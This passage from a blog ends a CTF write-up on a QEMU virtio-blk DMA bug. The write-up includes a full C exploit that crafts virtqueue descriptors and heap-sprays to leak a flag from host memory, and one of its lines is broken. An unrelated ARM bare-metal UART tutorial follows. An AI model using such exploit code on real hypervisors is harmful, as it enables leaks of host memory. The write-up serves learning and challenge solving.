*address_space_map(AddressSpace *as, hwaddr addr, hwaddr *plen, bool is_write, MemTxAttrs attrs){ hwaddr len = *plen; hwaddr l, xlat; MemoryRegion *mr; FlatView *fv; if (len == 0) { return NULL; } l = len; RCU_READ_LOCK_GUARD(); fv = address_space_to_flatview(as); mr = flatview_translate(fv, addr, &xlat, &l, is_write, attrs); if (!memory_access_is_direct(mr, is_write)) { if (qatomic_xchg(&bounce.in_use, true)) { *plen = 0; return NULL; } /* Avoid unbounded allocations */ l = MIN(l, TARGET_PAGE_SIZE); bounce.buffer = qemu_memalign(TARGET_PAGE_SIZE, l); bounce.addr = addr; bounce.len = l; memory_region_ref(mr); bounce.mr = mr; if (!is_write) { flatview_read(fv, addr, MEMTXATTRS_UNSPECIFIED, bounce.buffer, l); } *plen = l; return bounce.buffer; } //...}\n同时,通过 qemu_memalign 得到的内存并没有初始化。\nstatic int virtio_blk_handle_request(VirtIOBlockReq *req, MultiReqBuffer *mrb){ uint32_t type; struct iovec *in_iov = req->elem.in_sg; struct iovec *out_iov = req->elem.out_sg; unsigned in_num = req->elem.in_num; unsigned out_num = req->elem.out_num; VirtIOBlock *s = req->dev; VirtIODevice *vdev = VIRTIO_DEVICE(s); if (req->elem.out_num < 1 || req->elem.in_num < 1) { virtio_error(vdev, \"virtio-blk missing headers\"); return -1; } if (unlikely(iov_to_buf(out_iov, out_num, 0, &req->out, sizeof(req->out)) != sizeof(req->out))) { virtio_error(vdev, \"virtio-blk request outhdr too short\"); return -1; } iov_discard_front_undoable(&out_iov, &out_num, sizeof(req->out), &req->outhdr_undo); if (in_iov[in_num - 1].iov_len < sizeof(struct virtio_blk_inhdr)) { virtio_error(vdev, \"virtio-blk request inhdr too short\"); iov_discard_undo(&req->outhdr_undo); return -1; } //... req->in_len = iov_size(in_iov, in_num); //... case VIRTIO_BLK_T_IN: { bool is_write = type & VIRTIO_BLK_T_OUT; req->sector_num = virtio_ldq_p(vdev, &req->out.sector); if (is_write) { qemu_iovec_init_external(&req->qiov, out_iov, out_num); trace_virtio_blk_handle_write(vdev, req, req->sector_num, req->qiov.size / BDRV_SECTOR_SIZE); } else { qemu_iovec_init_external(&req->qiov, in_iov, in_num); trace_virtio_blk_handle_read(vdev, req, req->sector_num, req->qiov.size / BDRV_SECTOR_SIZE); } if (!virtio_blk_sect_range_ok(s, req->sector_num, req->qiov.size)) { virtio_blk_req_complete(req, VIRTIO_BLK_S_IOERR); block_acct_invalid(blk_get_stats(s->blk), is_write ? BLOCK_ACCT_WRITE : BLOCK_ACCT_READ); virtio_blk_free_request(req); return 0; } //... default: virtio_blk_req_complete(req, VIRTIO_BLK_S_UNSUPP); virtio_blk_free_request(req); }\n在 virtio_blk_handle_request,即使请求不合法,长度也被写入到 req->in_len。type 不合法时,直接调用 virtio_blk_req_complete\n调用链:virtio_blk_handle_request->virtio_blk_req_complete->virtqueue_push->virtqueue_fill->virtqueue_unmap_sg->dma_memory_unmap->address_space_unmap->address_space_write\nMemTxResult address_space_write(AddressSpace *as, hwaddr addr, MemTxAttrs attrs, const void *buf, int len){ MemTxResult result; __bufread(buf, len); return result;}\n由于缺乏保护,数据可以被写到 Common\nconfiguration 部分,并且部分空间可被读出。\nExploit\n通过堆喷,将 flag 字符串填充在内存中。利用上述漏洞读出内存内容。\n#include<stddef.h>#include<stdlib.h>#include<unistd.h>#include<fcntl.h>#include<sys/mman.h>#include<string.h>#include<stdio.h>#include<assert.h>#include<stdint.h>#include<sys/io.h>#include<linux/stddef.h>#define u8 uint8_t#define u16 uint16_t#define u32 uint32_t#define u64 uint64_t#define le16 u16#define le32 u32#define le64 u64struct virtio_pci_cap { u8 cap_vndr; u8 cap_next; u8 cap_len; u8 cfg_type; u8 bar; u8 id; u8 padding[2]; le32 offset; le32 length;};struct virtio_pci_common_cfg { /* About the whole device. */ le32 device_feature_select; /* read-write */ le32 device_feature; /* read-only for driver */ le32 driver_feature_select; /* read-write */ le32 driver_feature; /* read-write */ le16 config_msix_vector; /* read-write */ le16 num_queues; /* read-only for driver */ u8 device_status; /* read-write */ u8 config_generation; /* read-only for driver */ /* About a specific virtqueue. */ le16 queue_select; /* read-write */ le16 queue_size; /* read-write */ le16 queue_msix_vector; /* read-write */ le16 queue_enable; /* read-write */ le16 queue_notify_off; /* read-only for driver */ le64 queue_desc; /* read-write */ le64 queue_driver; /* read-write */ le64 queue_device; /* read-write */ le16 queue_notify_data; /* read-only for driver */ le16 queue_reset; /* read-write */};struct virtio_notify_cfg { struct virtio_pci_cap cap; le32 notify_off_multiplier;};struct virtio_blk_config{ le64 capacity; le32 size_max; le32 seg_max; struct virtio_blk_geometry { le16 cylinders; u8 heads; u8 sectors; } geometry; le32 blk_size; struct virtio_blk_topology { // # of logical blocks per physical block (log2) u8 physical_block_exp; // offset of first aligned logical block u8 alignment_offset; // suggested minimum I/O size in blocks le16 min_io_size; // optimal (suggested maximum) I/O size in blocks le32 opt_io_size; } topology; u8 writeback; u8 unused0; u16 num_queues; le32 max_discard_sectors; le32 max_discard_seg; le32 discard_sector_alignment; le32 max_write_zeroes_sectors; le32 max_write_zeroes_seg; u8 write_zeroes_may_unmap; u8 unused1[3]; le32 max_secure_erase_sectors; le32 max_secure_erase_seg; le32 secure_erase_sector_alignment;};enum virtio_pci_cfg_type{ VIRTIO_PCI_CAP_COMMON_CFG = 0x1, VIRTIO_PCI_CAP_NOTIFY_CFG = 0x2, VIRTIO_PCI_CAP_ISR_CFG = 0x3, VIRTIO_PCI_CAP_DEVICE_CFG = 0x4, VIRTIO_PCI_CAP_PCI_CFG = 0x5, VIRTIO_PCI_CAP_SHARED_MEMORY = 0x8, VIRTIO_PCI_CAP_VENDOR_CFG = 0x9,};/* Feature bits */#define VIRTIO_BLK_F_SIZE_MAX 1\t/* Indicates maximum segment size */#define VIRTIO_BLK_F_SEG_MAX 2\t/* Indicates maximum # of segments */#define VIRTIO_BLK_F_GEOMETRY 4\t/* Legacy geometry available */#define VIRTIO_BLK_F_RO 5\t/* Disk is read-only */#define VIRTIO_BLK_F_BLK_SIZE 6\t/* Block size of disk is available*/#define VIRTIO_BLK_F_FLUSH 9\t/* Flush command supported */#define VIRTIO_BLK_F_TOPOLOGY 10\t/* Topology information is available */#define VIRTIO_BLK_F_MQ 12\t/* support more than one vq */#define VIRTIO_BLK_F_DISCARD 13\t/* DISCARD is supported */#define VIRTIO_BLK_F_WRITE_ZEROES 14\t/* WRITE ZEROES is supported */#define VIRTIO_BLK_F_SECURE_ERASE 16 /* Secure Erase is supported *//* Status byte for guest to report progress, and synchronize features. *//* We have seen device and processed generic fields (VIRTIO_CONFIG_F_VIRTIO) */#define VIRTIO_CONFIG_S_ACKNOWLEDGE 1/* We have found a driver for the device. */#define VIRTIO_CONFIG_S_DRIVER 2/* Driver has used its parts of the config, and is happy */#define VIRTIO_CONFIG_S_DRIVER_OK 4/* Driver has finished configuring features */#define VIRTIO_CONFIG_S_FEATURES_OK 8/* Device entered invalid state, driver must reset it */#define VIRTIO_CONFIG_S_NEEDS_RESET 0x40/* We've given up on this device. */#define VIRTIO_CONFIG_S_FAILED 0x80#define VIRTIO_QUEUE_SIZE 0x10struct virtq_desc { /* Address (guest-physical). */ le64 addr; /* Length. */ le32 len;/* This marks a buffer as continuing via the next field. */#define VIRTQ_DESC_F_NEXT 1/* This marks a buffer as device write-only (otherwise device read-only). */#define VIRTQ_DESC_F_WRITE 2/* This means the buffer contains a list of buffer descriptors. */#define VIRTQ_DESC_F_INDIRECT 4 /* The flags as indicated above. */ le16 flags; /* Next field if flags & NEXT */ le16 next;};struct virtq_avail {#define VIRTQ_AVAIL_F_NO_INTERRUPT 1 le16 flags; le16 idx; le16 ring[VIRTIO_QUEUE_SIZE]; le16 used_event; /* Only if VIRTIO_F_EVENT_IDX */};struct virtq_used_elem { /* Index of start of used descriptor chain. */ le32 id; /* * The number of bytes written into the device writable portion of * the buffer described by the descriptor chain. */ le32 len;};struct virtq_used {#define VIRTQ_USED_F_NO_NOTIFY 1 le16 flags; le16 idx; struct virtq_used_elem ring[VIRTIO_QUEUE_SIZE]; le16 avail_event; /* Only if VIRTIO_F_EVENT_IDX */};struct virtio_blk_req { le32 type; le32 reserved; le64 sector; u8 data[0]; // u8 status;};#define VIRTIO_BLK_T_IN 0#define VIRTIO_BLK_T_OUT 1#define VIRTIO_BLK_T_FLUSH 4#define VIRTIO_BLK_T_GET_ID 8#define VIRTIO_BLK_T_GET_LIFETIME 10#define VIRTIO_BLK_T_DISCARD 11#define VIRTIO_BLK_T_WRITE_ZEROES 13#define VIRTIO_BLK_T_SECURE_ERASE 14void print_cap(struct virtio_pci_cap* cap){ printf(\"cap_len: %x\\n\", cap->cap_len); switch(cap->cfg_type){ case VIRTIO_PCI_CAP_COMMON_CFG: printf(\"cfg_type: common\\n\"); break; case VIRTIO_PCI_CAP_NOTIFY_CFG: printf(\"cfg_type: notify\\n\"); break; case VIRTIO_PCI_CAP_ISR_CFG: printf(\"cfg_type: isr\\n\"); break; case VIRTIO_PCI_CAP_DEVICE_CFG: printf(\"cfg_type: device\\n\"); break; case VIRTIO_PCI_CAP_PCI_CFG: printf(\"cfg_type: pci\\n\"); break; case VIRTIO_PCI_CAP_SHARED_MEMORY: printf(\"cfg_type: shared memory\\n\"); break; case VIRTIO_PCI_CAP_VENDOR_CFG: printf(\"cfg_type: vendor\\n\"); break; default: printf(\"cfg_type: unknown\\n\"); break; } printf(\"bar: %x\\n\", cap->bar); printf(\"id: %x\\n\", cap->id); printf(\"offset: %x\\n\", cap->offset); printf(\"length: %x\\n\", cap->length);}void ERR(const char* buf){ perror(buf); abort();}void LOG(const char* buf){ write(2, buf, strlen(buf));}volatile char* readflag_mmio = NULL;volatile char* virtio_mmio = NULL;volatile char* virtio_common_mmio = NULL;volatile struct virtio_notify_cfg* virtio_notify_mmio = NULL;volatile char* virtio_isr_mmio = NULL;volatile char* virtio_device_mmio = NULL;volatile char* dma_mem = NULL;volatile char* dma_data = NULL;volatile struct virtq_desc* queue_desc = NULL;volatile struct virtq_avail* queue_avail = NULL;volatile struct virtq_used* queue_used = NULL;void init_readflag(){ int mmio_fd = open(\"/sys/devices/pci0000:00/0000:00:05.0/resource0\", O_RDWR | O_SYNC); if(mmio_fd < 0){ ERR(\"Open readflag\"); } readflag_mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if(readflag_mmio == (volatile void*)-1){ ERR(\"mmap mmio_mem\"); } close(mmio_fd); puts(\"readflag init done\");}uint8_t mmio_read8(void* addr){ return *(volatile uint8_t*)addr;}uint16_t mmio_read16(void* addr){ return *(volatile uint16_t*)addr;}uint32_t mmio_read32(void* addr){ return *(volatile uint32_t*)addr;}uint64_t mmio_read64(void* addr){ return *(volatile uint64_t*)addr;}void mmio_write8(void* addr, uint8_t val){ *(volatile uint8_t*)addr = val;}void mmio_write16(void* addr, uint16_t val){ *(volatile uint16_t*)addr = val;}void mmio_write32(void* addr, uint32_t val){ *(volatile uint32_t*)addr = val;}void mmio_write64(void* addr, uint64_t val){ *(volatile uint64_t*)addr = val;}void mb(){ asm volatile(\"mfence\":::\"memory\");}void init_virtio() { int fd = open(\"/sys/devices/pci0000:00/0000:00:04.0/config\", O_RDONLY); if(fd < 0){ ERR(\"Open virtio config\"); } struct virtio_pci_cap cap; char* config = malloc(0x1000); int bytes_read = read(fd, config, 0x1000); if(bytes_read < 0){ ERR(\"Read virtio config\"); } fd = open(\"/sys/devices/pci0000:00/0000:00:04.0/resource4\", O_RDWR | O_SYNC); if(fd < 0){ ERR(\"Open virtio resource4\"); } virtio_mmio = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if(virtio_mmio == (volatile void*)-1){ ERR(\"mmap virtio mem\"); } close(fd); u8 cap_ptr = *(u8*)(config+0x34); while(cap_ptr != 0){ if(config[cap_ptr] != 0x9){ cap_ptr = *(u8*)(config+cap_ptr+1); continue; } memcpy(&cap, config+cap_ptr, sizeof(cap)); print_cap(&cap); switch(cap.cfg_type){ case VIRTIO_PCI_CAP_COMMON_CFG: virtio_common_mmio = virtio_mmio + cap.offset; break; case VIRTIO_PCI_CAP_NOTIFY_CFG: virtio_notify_mmio = (struct virtio_notify_cfg*)((size_t)virtio_mmio + cap.offset); break; case VIRTIO_PCI_CAP_ISR_CFG: virtio_isr_mmio = virtio_mmio + cap.offset; break; case VIRTIO_PCI_CAP_DEVICE_CFG: virtio_device_mmio = virtio_mmio + cap.offset; break; default: break; } cap_ptr = cap.cap_next; } close(fd); free(config); struct virtio_pci_common_cfg* common_cfg = (struct virtio_pci_common_cfg*)virtio_common_mmio; mmio_write32(&common_cfg->device_feature_select, 0); printf(\"device_feature[0]: %x\\n\", mmio_read32(&common_cfg->device_feature)); mmio_write32(&common_cfg->device_feature_select, 1); printf(\"device_feature[1]: %x\\n\", mmio_read32(&common_cfg->device_feature)); mmio_write32(&common_cfg->driver_feature_select, 0); printf(\"driver_feature[0]: %x\\n\", mmio_read32(&common_cfg->driver_feature)); mmio_write32(&common_cfg->driver_feature_select, 1); printf(\"driver_feature[1]: %x\\n\", mmio_read32(&common_cfg->driver_feature)); struct virtio_blk_config* blk_cfg = (struct virtio_blk_config*)virtio_device_mmio; printf(\"capacity: %lx\\n\", mmio_read64(&blk_cfg->capacity)); printf(\"size_max: %x\\n\", mmio_read32(&blk_cfg->size_max)); printf(\"seg_max: %x\\n\", mmio_read32(&blk_cfg->seg_max)); printf(\"geometry.cylinders: %x\\n\", mmio_read16(&blk_cfg->geometry.cylinders)); printf(\"geometry.heads: %x\\n\", mmio_read8(&blk_cfg->geometry.heads)); printf(\"geometry.sectors: %x\\n\", mmio_read8(&blk_cfg->geometry.sectors)); printf(\"blk_size: %x\\n\", mmio_read32(&blk_cfg->blk_size)); // reset device mmio_write8(&common_cfg->device_status, 0); mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_ACKNOWLEDGE); mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE); mmio_write32(&common_cfg->driver_feature_select, 0); mmio_write32(&common_cfg->driver_feature, 0); // disable all features mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE); assert(mmio_read8(&common_cfg->device_status) & VIRTIO_CONFIG_S_FEATURES_OK); // alloc dma memory int dma_fd = open(\"/dev/mem\", O_RDWR | O_SYNC); if(dma_fd < 0){ ERR(\"Open dma\"); } dma_mem = mmap((void*)0x3ffdd000, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0x3ffdd000); if(dma_mem == (volatile void*)-1){ ERR(\"mmap dma mem\"); } *(volatile uint32_t*)dma_mem = 0x12345678; printf(\"%x\\n\", *(volatile uint32_t*)dma_mem); *(volatile uint32_t*)dma_mem = 0; printf(\"dma_mem: %p\\n\", dma_mem); dma_data = dma_mem + 0x1000; queue_desc = (struct virtq_desc*)dma_mem; queue_avail = (struct virtq_avail*)((char*)queue_desc + 0x10 * VIRTIO_QUEUE_SIZE); queue_used = (struct virtq_used*)((char*)dma_mem + 0x200); // init queue mmio_write16(&common_cfg->queue_select, 0); mmio_write16(&common_cfg->queue_size, VIRTIO_QUEUE_SIZE); mmio_write64(&common_cfg->queue_desc, (size_t)0x3ffdd000); mmio_write64(&common_cfg->queue_driver, (size_t)0x3ffdd100); mmio_write64(&common_cfg->queue_device, (size_t)0x3ffdd200); mmio_write16(&common_cfg->queue_enable, 1); mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_DRIVER_OK | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE); puts(\"virtio init done\");}void spray(){ for(int i = 0xfff; i > 0x28; i-=4){ mmio_write32((void*)readflag_mmio, i); }}void hexdump(void* addr, size_t size){ // dump 4 bytes per time for(int i = 0; i < size; i+=4){ uint32_t val = *(volatile uint32_t*)(addr+i); for(int j = 0; j < 4; j++){ uint8_t chr = (val >> (j*8)) & 0xff; if(chr >= 0x20 && chr <= 0x7e){ putchar(chr); }else{ putchar('?'); } } }}int main(){ setbuf(stdout, NULL); init_readflag(); init_virtio(); volatile struct virtio_blk_req* req = (struct virtio_blk_req*)dma_data; req->type = 0xffffffffu; req->sector = 0; req->reserved = 0; queue_desc[0].addr = (size_t)req; queue_desc[0].len = 0x10; queue_desc[0].flags = VIRTQ_DESC_F_NEXT; queue_desc[0].next = 1; queue_desc[1].addr = (size_t); queue_desc[1].len = 0xfff; queue_desc[1].flags = VIRTQ_DESC_F_WRITE | VIRTQ_DESC_F_NEXT; queue_desc[1].next = 2; queue_desc[2].addr = (size_t)dma_data + 0xa00; queue_desc[2].len = 1; queue_desc[2].flags = VIRTQ_DESC_F_WRITE; queue_desc[2].next = 0; queue_avail->flags = 1; queue_avail->ring[0] = 0; queue_avail->idx = 1; mb(); mmio_write8((void*)virtio_isr_mmio, 1); struct virtio_pci_common_cfg* common_cfg = (struct virtio_pci_common_cfg*)virtio_common_mmio; void* notify_addr = (void*)((uintptr_t)virtio_notify_mmio + mmio_read32((void*)&virtio_notify_mmio->cap.offset) + mmio_read16(&common_cfg->queue_notify_off) * mmio_read32((void*)&virtio_notify_mmio->notify_off_multiplier)); puts(\"--------------------------------\"); for(int i = 0; i < 0x100; i+=4){ spray(); } mmio_write16(notify_addr, 0); puts(\"--------------------------------\"); hexdump((char*)virtio_common_mmio + 0x000, 0x100); munmap(dma_mem, 0x3000); munmap(virtio_mmio, 0x4000); munmap(readflag_mmio, 0x1000);}\nReferences\n\n\n\nVirtual\nI/O Device (VIRTIO) Version 1.1↩︎\nVirtqueues\nand virtio ring: How the data travels↩︎\nMemory-mapped\nI/O and port-mapped I/O↩︎\n\n\n","categories":["CTF"],"tags":["pwn","qemu","virtio","dma"]},{"title":"ARM Bare metal try","url":"/categories/Pwn/arm-bare-metal-helloworld/","content":"Foreword\n想给今年的 HGAME Mini\n2025 出一道简单的 Pwn 题,突然想着之前的题目似乎没有涉及到 IoT\nPwn 的(虽然可能是因为不太算 pwn 的入门内容?),打算来一道比较简单的,正好学习一下 IoT 的相关知识吧。\n\nChoose a Platform\nIoT 设备的 ISA 一般使用 ARM, RISC-V, MIPS。题目考虑使用 nRF51822 based on\nARM Cortex-M0 SoC, QEMU 对其有较好支持。\nqemu-system-arm \\ -M microbit \\ -cpu cortex-m0 \\ -nographic \\ -serial tcp:127.0.0.1:2333,server,telnet \\ -kernel main.elf \\ --gdb tcp::1234\nHello World\nTo communicate - UART1\nIn QEMU, a simulated serial port can serve as stdio.\nnRF51822 has one UART peripheral, we would use it to interact.\nFor convenience, using the official library nrfx to implement\nrelated functions, instead of defining addresses and operations by\nmyself.\nAlso, you can finish it with the manual.\n\n\nPin configuration\n\nHow to Transmit\n\n\nTransmission process\n\nnrfx defines a struct for parameters controlling uart.\ntypedef struct{ void * p_context; nrfx_uart_event_handler_t handler; uint8_t const * p_tx_buffer; uint8_t * p_rx_buffer; uint8_t * p_rx_secondary_buffer; volatile size_t tx_buffer_length; size_t rx_buffer_length; size_t rx_secondary_buffer_length; volatile size_t tx_counter; volatile size_t rx_counter; volatile bool tx_abort; bool rx_enabled; nrfx_drv_state_t state; bool skip_gpio_cfg : 1; bool skip_psel_cfg : 1;} uart_control_block_t;static uart_control_block_t m_cb[NRFX_UART_ENABLED_COUNT];\nnrfx_uart_tx() implenments this operation.\nnrfx_err_t nrfx_uart_tx(nrfx_uart_t const * p_instance, uint8_t const * p_data, size_t length){ uart_control_block_t * p_cb = &m_cb[p_instance->drv_inst_idx]; NRFX_ASSERT(p_cb->state == NRFX_DRV_STATE_INITIALIZED); NRFX_ASSERT(p_data); NRFX_ASSERT(length > 0); nrfx_err_t err_code; if (nrfx_uart_tx_in_progress(p_instance)) { err_code = NRFX_ERROR_BUSY; NRFX_LOG_WARNING(\"Function: %s, error code: %s.\", __func__, NRFX_LOG_ERROR_STRING_GET(err_code)); return err_code; } p_cb->tx_buffer_length = length; p_cb->p_tx_buffer = p_data; p_cb->tx_counter = 0; p_cb->tx_abort = false; NRFX_LOG_INFO(\"Transfer tx_len: %d.\", p_cb->tx_buffer_length); NRFX_LOG_DEBUG(\"Tx data:\"); NRFX_LOG_HEXDUMP_DEBUG(p_cb->p_tx_buffer, p_cb->tx_buffer_length * sizeof(p_cb->p_tx_buffer[0])); err_code = NRFX_SUCCESS; nrf_uart_event_clear(p_instance->p_reg, NRF_UART_EVENT_TXDRDY); nrf_uart_task_trigger(p_instance->p_reg, NRF_UART_TASK_STARTTX); tx_byte(p_instance->p_reg, p_cb); if (p_cb->handler == NULL) { if (!tx_blocking(p_instance->p_reg, p_cb)) { // The transfer has been aborted. err_code = NRFX_ERROR_FORBIDDEN; } else { // Wait until the last byte is completely transmitted. while (!nrf_uart_event_check(p_instance->p_reg, NRF_UART_EVENT_TXDRDY)) {} nrf_uart_task_trigger(p_instance->p_reg, NRF_UART_TASK_STOPTX); } p_cb->tx_buffer_length = 0; } NRFX_LOG_INFO(\"Function: %s, error code: %s.\", __func__, NRFX_LOG_ERROR_STRING_GET(err_code)); return err_code;}\nit calls tx_byte(),\nnrf_uart_txd_set()...\nstatic void tx_byte(NRF_UART_Type * p_uart, uart_control_block_t * p_cb){ nrf_uart_event_clear(p_uart, NRF_UART_EVENT_TXDRDY); uint8_t txd = p_cb->p_tx_buffer[p_cb->tx_counter]; p_cb->tx_counter++; nrf_uart_txd_set(p_uart, txd);}NRF_STATIC_INLINE void nrf_uart_txd_set(NRF_UART_Type * p_reg, uint8_t txd){ p_reg->TXD = txd;}\nBase and registers addresses were defined in nrf51.h.\ntypedef struct { /*!< (@ 0x40002000) UART0 Structure */ __OM uint32_t TASKS_STARTRX; /*!< (@ 0x00000000) Start UART receiver. */ __OM uint32_t TASKS_STOPRX; /*!< (@ 0x00000004) Stop UART receiver. */ __OM uint32_t TASKS_STARTTX; /*!< (@ 0x00000008) Start UART transmitter. */ __OM uint32_t TASKS_STOPTX; /*!< (@ 0x0000000C) Stop UART transmitter. */ __IM uint32_t RESERVED[3]; __OM uint32_t TASKS_SUSPEND; /*!< (@ 0x0000001C) Suspend UART. */ __IM uint32_t RESERVED1[56]; __IOM uint32_t EVENTS_CTS; /*!< (@ 0x00000100) CTS activated. */ __IOM uint32_t EVENTS_NCTS; /*!< (@ 0x00000104) CTS deactivated. */ __IOM uint32_t EVENTS_RXDRDY; /*!< (@ 0x00000108) Data received in RXD. */ __IM uint32_t RESERVED2[4]; __IOM uint32_t EVENTS_TXDRDY; /*!< (@ 0x0000011C) Data sent from TXD. */ __IM uint32_t RESERVED3; __IOM uint32_t EVENTS_ERROR; /*!< (@ 0x00000124) Error detected. */ __IM uint32_t RESERVED4[7]; __IOM uint32_t EVENTS_RXTO; /*!< (@ 0x00000144) Receiver timeout. */ __IM uint32_t RESERVED5[46]; __IOM uint32_t SHORTS; /*!< (@ 0x00000200) Shortcuts for UART. */ __IM uint32_t RESERVED6[64]; __IOM uint32_t INTENSET; /*!< (@ 0x00000304) Interrupt enable set register. */ __IOM uint32_t INTENCLR; /*!< (@ 0x00000308) Interrupt enable clear register. */ __IM uint32_t RESERVED7[93]; __IOM uint32_t ERRORSRC; /*!< (@ 0x00000480) Error source. Write error field to 1 to clear error. */ __IM uint32_t RESERVED8[31]; __IOM uint32_t ENABLE; /*!< (@ 0x00000500) Enable UART and acquire IOs. */ __IM uint32_t RESERVED9; __IOM uint32_t PSELRTS; /*!< (@ 0x00000508) Pin select for RTS. */ __IOM uint32_t PSELTXD; /*!< (@ 0x0000050C) Pin select for TXD. */ __IOM uint32_t PSELCTS; /*!< (@ 0x00000510) Pin select for CTS. */ __IOM uint32_t PSELRXD; /*!< (@ 0x00000514) Pin select for RXD. */ __IM uint32_t RXD; /*!< (@ 0x00000518) RXD register. On read action the buffer pointer is displaced. Once read the character is consumed. If read when no character available, the UART will stop working. */ __OM uint32_t TXD; /*!< (@ 0x0000051C) TXD register. */ __IM uint32_t RESERVED10; __IOM uint32_t BAUDRATE; /*!< (@ 0x00000524) UART Baudrate. */ __IM uint32_t RESERVED11[17]; __IOM uint32_t CONFIG; /*!< (@ 0x0000056C) Configuration of parity and hardware flow control register. */ __IM uint32_t RESERVED12[675]; __IOM uint32_t POWER; /*!< (@ 0x00000FFC) Peripheral power control. */} NRF_UART_Type; /*!< Size = 4096 (0x1000) */\nRun a helloworld.c\nInitialize\nBefore executing the program, we need to initialize memory space\nsatisfying the ARMv6-M architecture.2\nIncludes:\n Stack Definition, Heap Definition, Interrupt Vector Table, Reset\nHandler, Entry point and prepare .data,\n.bss.\nFor GCC compiler, the library provides a startup.S.\n/* Copyright (c) 2009-2025 ARM Limited. All rights reserved. SPDX-License-Identifier: Apache-2.0Licensed under the Apache License, Version 2.0 (the License); you maynot use this file except in compliance with the License.You may obtain a copy of the License at www.apache.org/licenses/LICENSE-2.0Unless required by applicable law or agreed to in writing, softwaredistributed under the License is distributed on an AS IS BASIS, WITHOUTWARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.See the License for the specific language governing permissions andlimitations under the License.NOTICE: This file has been modified by Nordic Semiconductor ASA.*/ .syntax unified .arch armv6-m#ifdef __STARTUP_CONFIG#include \"startup_config.h\"#ifndef __STARTUP_CONFIG_STACK_ALIGNEMENT#define __STARTUP_CONFIG_STACK_ALIGNEMENT 3#endif#endif .section .stack#if defined(__STARTUP_CONFIG) .align __STARTUP_CONFIG_STACK_ALIGNEMENT .equ Stack_Size, __STARTUP_CONFIG_STACK_SIZE#elif defined(__STACK_SIZE) .align 3 .equ Stack_Size, __STACK_SIZE#else .align 3 .equ Stack_Size, 2048#endif .globl __StackTop .globl __StackLimit__StackLimit: .space Stack_Size .size __StackLimit, . - __StackLimit__StackTop: .size __StackTop, . - __StackTop .section .heap .align 3#if defined(__STARTUP_CONFIG) .equ Heap_Size, __STARTUP_CONFIG_HEAP_SIZE#elif defined(__HEAP_SIZE) .equ Heap_Size, __HEAP_SIZE#else .equ Heap_Size, 2048#endif .globl __HeapBase .globl __HeapLimit__HeapBase: .if Heap_Size .space Heap_Size .endif .size __HeapBase, . - __HeapBase__HeapLimit: .size __HeapLimit, . - __HeapLimit .section .isr_vector, \"ax\" .align 2 .globl __isr_vector__isr_vector: .long __StackTop /* Top of Stack */ .long Reset_Handler .long NMI_Handler .long HardFault_Handler .long 0 /*Reserved */ .long 0 /*Reserved */ .long 0 /*Reserved */ .long 0 /*Reserved */ .long 0 /*Reserved */ .long 0 /*Reserved */ .long 0 /*Reserved */ .long SVC_Handler .long 0 /*Reserved */ .long 0 /*Reserved */ .long PendSV_Handler .long SysTick_Handler /* External Interrupts */ .long POWER_CLOCK_IRQHandler .long RADIO_IRQHandler .long UART0_IRQHandler .long SPI0_TWI0_IRQHandler .long SPI1_TWI1_IRQHandler .long 0 /*Reserved */ .long GPIOTE_IRQHandler .long ADC_IRQHandler .long TIMER0_IRQHandler .long TIMER1_IRQHandler .long TIMER2_IRQHandler .long RTC0_IRQHandler .long TEMP_IRQHandler .long RNG_IRQHandler .long ECB_IRQHandler .long CCM_AAR_IRQHandler .long WDT_IRQHandler .long RTC1_IRQHandler .long QDEC_IRQHandler .long LPCOMP_IRQHandler .long SWI0_IRQHandler .long SWI1_IRQHandler .long SWI2_IRQHandler .long SWI3_IRQHandler .long SWI4_IRQHandler .long SWI5_IRQHandler .long 0 /*Reserved */ .long 0 /*Reserved */ .long 0 /*Reserved */ .long 0 /*Reserved */ .long 0 /*Reserved */ .long 0 /*Reserved */ .size __isr_vector, . - __isr_vector/* Reset Handler */ .equ NRF_POWER_RAMON_ADDRESS, 0x40000524 .equ NRF_POWER_RAMONB_ADDRESS, 0x40000554 .equ NRF_POWER_RAMONx_RAMxON_ONMODE_Msk, 0x3 .text .thumb .thumb_func .align 1 .globl Reset_Handler .type Reset_Handler, %functionReset_Handler: MOVS R1, #NRF_POWER_RAMONx_RAMxON_ONMODE_Msk LDR R0, =NRF_POWER_RAMON_ADDRESS LDR R2, [R0] ORRS R2, R1 STR R2, [R0] LDR R0, =NRF_POWER_RAMONB_ADDRESS LDR R2, [R0] ORRS R2, R1 STR R2, [R0]/* Loop to copy data from read only memory to RAM. * The ranges of copy from/to are specified by following symbols: * __etext: LMA of start of the section to copy from. Usually end of text * __data_start: VMA of start of the section to copy to. * __data_end: VMA of end of the section to copy to. * * All addresses must be aligned to 4 bytes boundary. */#ifndef __STARTUP_SKIP_ETEXT/* Load .data */ ldr r1, =__data_start ldr r2, =__data_end ldr r3, =__data_load_start bl copy_region/* Load .sdata */ ldr r1, =__sdata_start ldr r2, =__sdata_end ldr r3, =__sdata_load_start bl copy_region/* Load .tdata */ ldr r1, =__tdata_start ldr r2, =__tdata_end ldr r3, =__tdata_load_start bl copy_region/* Load .fast */ ldr r1, =__fast_start ldr r2, =__fast_end ldr r3, =__fast_load_start bl copy_region b copy_etext_done/* Method that loads data from nvm to ram */copy_region: subs r2, r2, r1 ble L_copy_region_doneL_copy_region: subs r2, r2, #4 ldr r0, [r3,r2] str r0, [r1,r2] bgt L_copy_regionL_copy_region_done: bx lrcopy_etext_done:#endif/* This part of work usually is done in C library startup code. Otherwise, * define __STARTUP_CLEAR_BSS to enable it in this startup. This section * clears the RAM where BSS data is located. * * The BSS section is specified by following symbols * __bss_start__: start of the BSS section. * __bss_end__: end of the BSS section. * * All addresses must be aligned to 4 bytes boundary. */#ifdef __STARTUP_CLEAR_BSS ldr r1, =__bss_start__ ldr r2, =__bss_end__ bl clear_region ldr r1, 